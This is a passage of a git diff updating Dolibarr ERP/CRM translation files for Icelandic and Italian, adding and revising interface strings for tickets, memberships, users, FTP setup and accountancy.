+# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Þýðing +Translations=Translations CurrentTimeZone=PHP-miðlara Tímasvæði EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Gildir Approve=Samþykkja Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Opnaðu Upload=Upload ToLink=Link Select=Velja @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Lykilorð -PasswordRetype=Sláðu lykilorðið þitt +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Athugaðu að einhver fjöldi af lögun / modules ert fatlaður í þessum mótmælum. Name=Nafn NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Lýsing DescriptionOfLine=Lýsing lína DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Action @@ -344,7 +353,7 @@ KiloBytes=Kílóbæti MegaBytes=Megabæti GigaBytes=Gígabæta TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Viðburðir um þennan notanda ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s seint ToDo=Til að gera Completed=Completed @@ -517,6 +527,7 @@ or=eða Other=Önnur Others=Aðrir OtherInformations=Other information +Workflow=Workflow Quantity=Magn Qty=Magn ChangedBy=Breytt af @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Meðfylgjandi skrár og skjöl JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=ÁÁÁÁ-MM DateFormatYYYYMMDD=ÁÁÁÁ-MM-DD DateFormatYYYYMMDDHHMM=ÁÁÁÁ-MM-DD HH: SS @@ -709,6 +721,7 @@ FeatureDisabled=No links MoveBox=Move widget Offered=Tilboð NotEnoughPermissions=Þú hefur ekki leyfi til að þessar aðgerðir +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session nafn Method=Aðferð Receive=Fá @@ -798,6 +811,7 @@ URLPhoto=Url á mynd / lógó SetLinkToAnotherThirdParty=Tengill á öðrum þriðja aðila LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Samningar SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Verð +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Innri notandi +ExternalUser=Ytri notandi diff --git a/htdocs/langs/is_IS/members.lang b/htdocs/langs/is_IS/members.lang index 33fd7c7a5cd..0946babd29b 100644 --- a/htdocs/langs/is_IS/members.lang +++ b/htdocs/langs/is_IS/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Annar aðili (nafn: %s , tenging: ErrorUserPermissionAllowsToLinksToItselfOnly=Af öryggisástæðum verður þú að vera veitt leyfi til að breyta öllum notendum að vera fær um að tengja félagi til notanda sem er ekki þinn. SetLinkToUser=Tengill á Dolibarr notanda SetLinkToThirdParty=Tengill á Dolibarr þriðja aðila +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Listi yfir meðlimi MembersListToValid=Listi yfir meðlimi drög (verður staðfest) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Nýr meðlimur @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=New framlag NewSubscriptionDesc=Þetta eyðublað er hægt að taka áskriftina þína sem nýr aðili að stofnun. Ef þú vilt að endurnýja áskriftina þína (ef þegar meðlimur), vinsamlegast hafðu samband við grunn borð í stað með tölvupósti %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Lengd +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Seint SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Efni meðlimur kortið # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Velta (fyrir fyrirtæki) eða fjárhagsáætlun (um stofnun) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Stökkva á samþætt netinu greiðslu síðu +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/is_IS/other.lang b/htdocs/langs/is_IS/other.lang index 339ff19aebd..5cef0d64a13 100644 --- a/htdocs/langs/is_IS/other.lang +++ b/htdocs/langs/is_IS/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Viðskiptavinur tillögu staðfestar Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Auglýsing tillögu send með pósti Notify_WITHDRAW_TRANSMIT=Gírskipting afturköllun Notify_WITHDRAW_CREDIT=Credit afturköllun @@ -181,6 +183,7 @@ SizeUnitfoot=fótur SizeUnitpoint=point BugTracker=Bug rekja spor einhvers SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Til baka innskráningarsíðu AuthenticationDoesNotAllowSendNewPassword=Auðkenning háttur er %s .
      Í þessum ham, Dolibarr geta ekki veit né breyta lykilorðinu þínu.
      Hafðu samband við kerfisstjóra ef þú vilt breyta lykilorðinu þínu. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Loka Autofill = Autofill + +# externalsite +ExternalSiteSetup=Skipulag tengjast ytri vef +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Module ExternalSite was not configured properly. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Ekki tókst að fjarlægja skrá %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passive mode +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/is_IS/ticket.lang b/htdocs/langs/is_IS/ticket.lang index 5fa6eb23f5b..ce075f48640 100644 --- a/htdocs/langs/is_IS/ticket.lang +++ b/htdocs/langs/is_IS/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Undirskrift -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Nýr notandi NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/is_IS/users.lang b/htdocs/langs/is_IS/users.lang index 987d34b0cf7..3f02257d267 100644 --- a/htdocs/langs/is_IS/users.lang +++ b/htdocs/langs/is_IS/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Fjarlægja úr hópi PasswordChangedAndSentTo=Lykilorð breyst og sendur til %s . PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Beiðni um að breyta lykilorðinu fyrir %s sent til %s . -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Notendur & Groups @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Búa til notanda CreateDolibarrThirdParty=Búa til þriðja aðila -LoginAccountDisableInDolibarr=Reikningur óvirkur í Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Nota persónulega gildi -InternalUser=Innri notandi ExportDataset_user_1=Users and their properties DomainUser=Lén notanda %s Reactivate=Endurvekja @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/it_CH/admin.lang b/htdocs/langs/it_CH/admin.lang index 3b3a8d2c685..e4705c82130 100644 --- a/htdocs/langs/it_CH/admin.lang +++ b/htdocs/langs/it_CH/admin.lang @@ -1,4 +1,3 @@ # Dolibarr language file - Source file is en_US - admin -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/it_CH/hrm.lang b/htdocs/langs/it_CH/hrm.lang new file mode 100644 index 00000000000..c71599d9ff1 --- /dev/null +++ b/htdocs/langs/it_CH/hrm.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - hrm +RequiredRank=Required rank for this job +OrJobToCompare=Compare to job skills requirements diff --git a/htdocs/langs/it_CH/propal.lang b/htdocs/langs/it_CH/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/it_CH/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/it_IT/accountancy.lang b/htdocs/langs/it_IT/accountancy.lang index d3f1d5242e6..8708d3c28a4 100644 --- a/htdocs/langs/it_IT/accountancy.lang +++ b/htdocs/langs/it_IT/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Seleziona il tipo di ritorno a capo ACCOUNTING_EXPORT_PREFIX_SPEC=Specificare il prefisso per il nome del file ThisService=Questo servizio ThisProduct=Questo prodotto -DefaultForService=Predefinito per servizio -DefaultForProduct=Predefinito per prodotto +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Prodotto per questa terza parte ServiceForThisThirdparty=Servizi per questo soggetto terzo CantSuggest=Non posso suggerire @@ -24,33 +24,34 @@ ConfigAccountingExpert=Configurazione del modulo contabilità (doppia partita) Journalization=Giornali Journals=Giornali JournalFinancial=Giornali finanziari -BackToChartofaccounts=Ritorna alla lista dell'account +BackToChartofaccounts=Ritorna alla lista dei conti Chartofaccounts=Piano dei conti ChartOfSubaccounts=Piano dei conti individuali -ChartOfIndividualAccountsOfSubsidiaryLedger=Piano dei conti individuali del libro mastro sussidiario -CurrentDedicatedAccountingAccount=Attuale account dedicato -AssignDedicatedAccountingAccount=Nuovo account da assegnare +ChartOfIndividualAccountsOfSubsidiaryLedger=Piano dei conti individuali del registro secondario +CurrentDedicatedAccountingAccount=Conto attuale dedicato +AssignDedicatedAccountingAccount=Conto nuovo da assegnare InvoiceLabel=Etichetta fattura -OverviewOfAmountOfLinesNotBound=Panoramica della quantità di linee non collegate a un account contabile -OverviewOfAmountOfLinesBound=Panoramica della quantità di linee già associate a un account contabile +OverviewOfAmountOfLinesNotBound=Panoramica dell'importo delle righe non vincolate ad una voce del piano dei conti +OverviewOfAmountOfLinesBound=Panoramica dell'importo delle righe già vincolate ad una voce del piano dei conti OtherInfo=Altre informazioni DeleteCptCategory=Rimuovi conto corrente dal gruppo ConfirmDeleteCptCategory=Sei sicuro di voler rimuovere questo account contabile dal gruppo di account contabilità? JournalizationInLedgerStatus=Stato delle registrazioni -AlreadyInGeneralLedger=Già trasferito su giornali e libri contabili contabili +AlreadyInGeneralLedger=Già trasferito in contabilità e nel libro mastro NotYetInGeneralLedger=Non ancora trasferito ai giornali di contabilità e al libro mastro GroupIsEmptyCheckSetup=Il gruppo è vuoto, controlla le impostazioni del gruppo personalizzato di contabilità DetailByAccount=Mostra dettagli dall'account AccountWithNonZeroValues=Account con valori non-zero -ListOfAccounts=Lista degli account +ListOfAccounts=Elenco dei conti CountriesInEEC=Paesi nella CEE CountriesNotInEEC=Paesi al di fuori della CEE CountriesInEECExceptMe=Paesi nella CEE eccetto %s CountriesExceptMe=Tutti i paesi eccetto %s AccountantFiles=Esporta documenti di origine -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=Con questo strumento puoi cercare ed esportare gli eventi di origine utilizzati per generare la tua contabilità.
      Il file ZIP esportato conterrà gli elenchi degli elementi richiesti in CSV, nonché i relativi file allegati nel loro formato originale (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Per esportare i tuoi diari, usa la voce di menu %s - %s. -VueByAccountAccounting=Visualizza per conto contabile +ExportAccountingProjectHelp=Specificare il progetto se è necessario un report contabile solo per un progetto specifico. Le note spese e i pagamenti dei prestiti non sono inclusi nei rapporti di progetto. +VueByAccountAccounting=Elenco movimenti per conto contabile VueBySubAccountAccounting=Visualizza per conto secondario contabile MainAccountForCustomersNotDefined=Account principale di contabilità per i clienti non definito nel setup @@ -58,32 +59,33 @@ MainAccountForSuppliersNotDefined=Account principale di contabilità per fornito MainAccountForUsersNotDefined=Account principale di contabilità per gli utenti non definito nel setup MainAccountForVatPaymentNotDefined=Account principale di contabilità per il pagamento dell'IVA non definito nel setup MainAccountForSubscriptionPaymentNotDefined=Account principale di contabilità per il pagamento degli abbonamenti non definito nel setup +UserAccountNotDefined=Conto Contabile per l'utente non definito nella configurazione AccountancyArea=Area di contabilità AccountancyAreaDescIntro=L'utilizzo del modulo di contabilità è effettuato in diversi step: AccountancyAreaDescActionOnce=Le seguenti azioni vengono di solito eseguite una volta sola, o una volta all'anno... -AccountancyAreaDescActionOnceBis=I passaggi 